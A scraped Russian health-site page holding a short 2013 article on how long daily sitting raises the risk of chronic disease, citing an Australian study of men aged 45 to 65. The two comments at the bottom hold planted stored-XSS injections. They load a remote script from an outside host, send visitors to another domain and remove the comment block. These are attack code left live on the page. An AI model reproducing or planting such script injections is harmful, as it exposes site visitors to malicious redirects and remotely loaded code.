Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Сидите? Поздравляем! Вы у...  >>  Сидите? Поздравляем! Вы увеличиваете свой риск умереть от хронических заболеваний!
 
Обратная связь
 

Сидите? Поздравляем! Вы увеличиваете свой риск умереть от хронических заболеваний!

Размер шрифта
07 мая 2013 00:00
Юрий Малышев
Здоровье инфо
Екатерина Иванникова
Здоровье инфо
  • google_analytics: false
  • Нравится

Внимание офисным работникам! Много сидите? У вас очень высокие риски развития хронических тяжелых заболеваний!

В австралийское исследование было включено 63 048 мужчин в возрасте от 45 до 65 лет. Все добровольцы были разделены на несколько групп. Участников сравнивали по уровню физической активности, доходу, возрасту, образованию и весу. И полученные результаты были ошеломительные! Те, кто сидел меньше 4 часов значительно реже болели хроническими заболеваниями, такими как: сахарный диабет, гипертония и ишемическая болезнь сердца! Даже по сравнению с работниками, кто сидит дольше на 2-3 часа в день. Причинами развития хронических заболеваний стало резкое ограничение в движении, соответственно низкий уровень расхода энергии, даже при нормальном весе. В группе самого высокого риска развития смертельно опасных заболеваний находятся люди, сидящие больше 8 часов в день. Это исследование доказало, что люди с лучшей физической подготовкой реже страдают от последствий такого малоподвижного образа жизни и лучше защищены от смертельно опасных заболеваний!

Если вы вынуждены сидеть на работе больше 6 часов, делайте хотя бы зарядку! 30 минут физических упражнений в день защитят вас от многих хронических заболеваний.

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

30 июня 2015 в 19:34

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

2 - zzzzzz

30 июня 2015 в 23:18

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Сидячий образ жизни вреден для почек   Аэробные тренировки   Самые популярные мифы о диабете   Радикальные методы снижения веса  
06 мая 2013Сидите? Поздравляем! Вы увеличиваете свой риск умереть от хронических заболеваний! 14 ноября 2012Сидячий образ жизни вреден для почек
 
15 ноября 2012Хороший сон спасет от диабета 09 апреля 2013Знаете ли вы ваш уровень сахара
 

Слайдшоу

1
Язык мой – друг мой. Что язык скажет о вашем здоровье?
5 вещей, от которых надо отказаться, чтобы похудеть
Как не потерять мужа?

Тесты

1
Есть ли у вас скрытый риск диабета?
Сколько вы проживете?
Оцените риск развития сахарного диабета
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.